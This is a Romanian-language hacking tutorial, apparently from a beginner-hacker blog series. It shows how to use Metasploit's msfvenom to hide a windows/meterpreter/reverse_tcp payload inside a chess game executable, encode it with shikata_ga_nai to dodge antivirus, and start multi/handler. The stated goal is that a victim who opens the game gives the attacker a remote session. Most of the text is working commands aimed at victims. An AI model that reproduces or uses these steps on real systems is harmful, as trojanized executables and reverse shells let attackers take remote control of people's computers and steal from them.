Bine ați revenit, dragii mei greenhorn hackers!
Păcălirea antivirusului și ocolirea sistemelor de detectare a intruziunilor este una dintre cele mai dificile sarcini ale unui hacker. Imediat ce un exploit nou este dezvoltat și descoperit, dezvoltatorii de antivirus realizează o ,,semnătură” a atacului, ce este foarte probabil să fie detectată și împiedicată. Pentru a evita această problemă, singura soluție este să dezvolți propriile exploit-uri (voi face și astfel de ghiduri pe viitor). O altă metodă, ar fi schimbarea codificării exploit-ului.
Acum, în loc să se uite după semnătura payload-ului codat, ei se uită după semnătura utilizată de Metasploit pentru recodificare. În acest mod, nu are importanță câte scheme diferite de codificare utilizezi, semnătura Metasploit este aceeași, iar softurile antivirus o recunosc.
Nu vă neliniștiți, însă. Încă mai sunt moduri de a recodifica un payload pentru a rămâne nedetectabil de softurile antivirus. O să arăt cum se poate face lucrul acesta în viitoarele ghiduri, așa că rămâneți aproape.
Pasul 1: Deschidem Kali și pornim Metasploit
Începem prin pornirea sistemului Kali și deschidem msfconsole. Facem asta tastând ,,msfconsole”.
Pasul 2: Opțiunile Msfvenom
Acum, în terminal tastăm ,,msfvenom” pentru a vedea pagina de ajutor (putem face lucrul acesta și cu ajutorul schimbătorului -h).
msf > msfvenom
Haideți să ne uităm la cele mai importante opțiuni din această listă.
- -p indică payload-ul pe care dorim să-l utilizăm în Metasploit
- -e indică codificatorul pe care dorim să-l utilizăm
- -a indică arhitectura pe care dorim să o utilizăm (x86 este cea implicită)
- -s indică dimensiunea maximă a payload-ului
- -i indică numărul de repetări cu care se codifică payload-ul
- -x indică fișierul executabil implicit pe care-l vom utiliza ca template
Pasul 3: Afișarea codificatorilor
Codificatorii reprezintă diferite tipuri de algoritimi și scheme de codificare utilizate de Metasploit pentru a recodifica un payload. Metasploit are numeroase scheme de codificare, și le putem vedea tastând:
msf > msfvenom -l encoders
Metasploit va lista toate codificatoarele disponibile, cu descrierea și calitatea lor. Am evidențiat codificatorul shikata_ga_nai, deoarece așa cum se observă, are calitatea ,,excelentă”.
Pasul 4: Opțiunile Payload-urilor
Putem utiliza msfvenom pentru verifica opțiunile de care avem nevoie pentru payload-uri. Comanda este următoarea:
msf > msfvenom -p <payload name> –payload-options
Așadar, dacă dorim să verificăm opțiunile pentru payload-ul windows/meterpreter/reverse_tcp, tastăm simplu:
msf >msfvenom -p windows/meterpreter/reverse_tcp –payload-options
Când facem lucrul acesta, Metasploit ne răspunde precum în screen-ul de mai jos:
Dacă dorim să lucrăm cu acest payload, trebuie să știm ce opțiuni trebuie să setăm în comanda msfvenom.
Pasul 5: Realizarea unui executabil personalizat în Windows
Acum, haideți să realizăm un executabil pentru Windows, utilizând template implicit. Chiar dacă putem realiza un payload și fără un template implicit, avem o șansă mai bună să trecem de sistemele de securitate dacă utilizăm un template. În acest caz, vom utiliza un joc de șah, numit chess.exe. Ideea este să integrăm payload-ul meterpreter într-un joc de șah, iar când victima deschide jocul, va deschide și o sesiune meterpreter în sistemul nostru.
Punem jocul de șah în directorul /usr/share. (În exemplul de mai jos eu l-am pus pe Desktop).
Pentru a realiza executabilul cu windows/meterpreter/reverse_tcp integrat, tastăm simplu:
msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= <adresa ta ip> LPORT=<orice port dorești să fie ascultat> -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe
- -p /windows/meterpreter/reverse_tcp indică payload-ul pe care dorim să îl integrăm
- LHOST indică localhost-ul
- LPORT indică portul pe care dorim să fie ascultat
- -x indică template-ul pe care dorim să îl utilizăm și adresa către el
- -e x86/shikata_ga_nai indică codificatorul pe care dorim să-l folosim
- -i 200 represents the number of iterations reprezintă numărul de repetări
- -f exe indică faptul că dorim să realizăm un fișier executabil (.exe)
- chess.exe indică numele fișierului creat
Când victima dă click pe executabilul jocului, payload-ul meterpreter va fi activat și se va conecta către sistemul nostru (LHOST). Ca să aibă succes conexiunea, va trebui să deschidem multi-handler în Metasploit:
msf >use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
Procesul de recodificarea și integrare a payload-urile nu mai are succes cu softurile antivirus. Voi începe o nouă serie de tutoriale în curând, ce vor avea ca scop ocolirea softurilor antivirus, utilizând ultimele tehnici. Așadar, nu uitați să reveniți, dragii mei greenhorn hackers!